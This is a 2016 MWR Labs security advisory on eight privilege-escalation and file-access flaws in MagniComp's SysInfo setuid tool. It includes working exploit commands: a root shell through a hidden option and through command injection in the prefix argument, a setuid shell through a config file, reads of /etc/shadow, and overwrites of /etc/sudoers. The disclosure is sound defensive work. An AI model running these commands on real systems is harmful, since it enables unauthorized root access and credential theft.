MWR LABS

Security Advisory

# Multiple Vulnerabilities in MagniComp's SysInfo root setuid()

## 23/09/2016

| | |
|---|---|
| Software | MagniComp's SysInfo |
| Affected Versions | OS X, Unix & Linux Sysinfo 10-H63 and prior |
| CVE Reference | N/A |
| Author | Romain Trouve |
| Severity | 6 High, 2 Low |
| Vendor | MagniComp |
| Vendor Response | Patch Released |

## Description:

MagniComp's SysInfo enables system administrators to find and view highly detailed system, software, and hardware information on a variety of platforms.

Multiple vulnerabilities have been discovered in MagniComp's SysInfo which allow local users to read, write arbitrary files and execute arbitrary commands with root-level privileges.

## Impact:

Multiple vulnerabilities could allow an attacker to escalate his privileges to root and hence gain full control over the system.

## Cause:

The vulnerabilities are due to insufficient input validation, improper permission checks and insecure search path.

## Solution:

Update to the latest version.

## Technical details

1. Insecure Search Path: SysInfo 10-H38 to 10-H63 - **Privilege Escalation** - HIGH

It was found that the suid wrapper could search for critical resources by specifying a hidden user-supplied option for SysInfo Engine path that could point to resources that are not under the SysInfo's direct control. The SysInfo Engine (SIE) path option was hidden from the program option list but discovered through static analysis.

The code below intended to list all supported Software Product Specific (SPS) modules by executing SysInfo Engine, causes the application to execute a root bash shell.

```
MCSYSINFO_DIR=/opt/sysinfo
$MCSYSINFO_DIR/bin/mcsysinfo --spslist --siepath /bin/bash$'\n'
```

2. OS Command Injection: SysInfo 10-H38 to 10-H63 - **Privilege Escalation** - HIGH

SysInfo is vulnerable to an OS Command Injection vulnerability which could allow an attacker to execute privilege arbitrary commands by injecting separators and OS commands into the `prefix` argument.

The following code is intended to list information about SysInfo drivers but causes the application to open up a bash shell with the elevated root privileges.

```
MCSYSINFO_DIR=/opt/sysinfo
$MCSYSINFO_DIR/bin/mcsysinfo --driverlist --prefix "/tmp;/bin/bash;"
```

3. Insecure Configuration File: SysInfo 10-H63 and prior - **Privilege Escalation** - HIGH

SysInfo allows the user to specify an external runtime configuration file via `--configfile` which could be used to redefine critical resources path and causes the application to execute an attacker-controlled program.

In the following exploit, the `ExecPath` key option is used to point to a user-controlled folder where `argv[0]` is retrieved and executed with root-level privileges.

```
TEMP=/tmp
MCSYSINFO_DIR=/opt/sysinfo
MCSYSINFO_CFG=$TEMP/mcsysinfo.cfg
```

```
echo "ExecPath=$TEMP" > $MCSYSINFO_CFG
echo -e \#\!$SHELL\\n$SHELL > $TEMP/exploit
chmod u+sx $TEMP/exploit
bash -c "exec -a exploit $MCSYSINFO_DIR/bin/.mcsiwrapper --configfile $MCSYSINFO_CFG"
```

### 4. Arbitrary File Read (1: Using Report Read option): SysInfo 10-H38 to 10-H63 - HIGH

SysInfo is vulnerable to an arbitrary file read vulnerability which could allow an attacker to access highly privileged files to further elevate his privileges.

The following code uses the shadow file as source of data and specifies the `report` layout to bypass format checks, thus displaying sensitive data to the user.

```
MCSYSINFO_DIR=/opt/sysinfo
$MCSYSINFO_DIR/bin/mcsysinfo --infile "/etc/shadow" --format report --class hardware
```

### 5. Arbitrary File Read (2: Using Cache Data): SysInfo 10-H38 to 10-H63 - HIGH

It was found that an attacker could abuse the cache process via a symlink attack to read arbitrary files on the system as root.

The following exploit tricks the program into revealing the content of the shadow file with the use of a `.cdata` symbolic link.

```
TEMP=/tmp/cache
MCSYSINFO_DIR=/opt/sysinfo
FILE=/etc/shadow
VERSION=10-H63
SIZE=`du -b $FILE | cut -f 1`

mkdir -p $TEMP/mcsysinfo.cache.0/$VERSION/local
echo "size=$SIZE" > $TEMP/mcsysinfo.cache.0/$VERSION/local/hardware_report.cinfo
ln -s $FILE $TEMP/mcsysinfo.cache.0/$VERSION/local/hardware_report.cdata
$MCSYSINFO_DIR/bin/mcsysinfo --cachedir $TEMP --format report --class hardware --
cacheexpire 300000000
```

### 6. Arbitrary File Write: SysInfo 10-H38 to 10-H63 - **Privilege Escalation** - HIGH

It was discovered by specifying a file output to SysInfo that an attacker could create/overwrite a file owned by root to an arbitrary location. By controlling the input in a specific manner, an attacker could (over)write an arbitrary file and then escalate his privileges to root.

The exploit below overwrites the sudoers policy module to give the current user the ability to run commands as root and hence elevate his privileges.

```
# Please make a safe copy of /etc/sudoers
MCSYSINFO_DIR=/opt/sysinfo
echo "$USER ALL=(ALL) NOPASSWD:ALL" > /tmp/sudoers.me
$MCSYSINFO_DIR/bin/mcsysinfo --infile "/tmp/sudoers.me" --format report --class hardware --
output "/etc/sudoers"
sudo -s
```

The following exploit uses both the Arbitrary Read & Write vulnerabilities to append the new entry to the sudoers file.

```
MCSYSINFO_DIR=/opt/sysinfo
$MCSYSINFO_DIR/bin/mcsysinfo --infile "/etc/sudoers" --format report --class hardware >
/tmp/sudoers.me
echo "$USER ALL=(ALL) NOPASSWD:ALL" >> /tmp/sudoers.me
$MCSYSINFO_DIR/bin/mcsysinfo --infile "/tmp/sudoers.me" --format report --class hardware --
output "/etc/sudoers"
sudo -s
```

### 7. Arbitrary Path Injection: SysInfo 10-H38 to 10-H63 - LOW

The option `--host` was found to be vulnerable to path injection. This could allow an attacker to create an arbitrary directory owned by root.

The following code creates a directory owned by root called `foobar` in the `/tmp` directory.

```
MCSYSINFO_DIR=/opt/sysinfo
$MCSYSINFO_DIR/bin/mcsysinfo --host "../../foobar" # Check `ls -ld /tmp/foobar`
```

### 8. Format String vulnerability: SysInfo 10-H38 to 10-H63 - LOW

The vulnerability could allow an attacker to cause a denial of service, crash or memory consumption.

The code below illustrates two vulnerable options: `--encode` and `--class`.

```
MCSYSINFO_DIR=/opt/sysinfo
$MCSYSINFO_DIR/bin/mcsysinfo --encode %100s
$MCSYSINFO_DIR/bin/mcsysinfo --class %100s
```

## Detailed Timeline

| Date | Summary |
| --- | --- |
| 2016-07-25 | Reported to MagniComp's Security Team |
| 2016-07-27 | Fixes Confirmed |
| 2016-08-23 | Public Patch Released |
| 2016-09-23 | Advisory Released |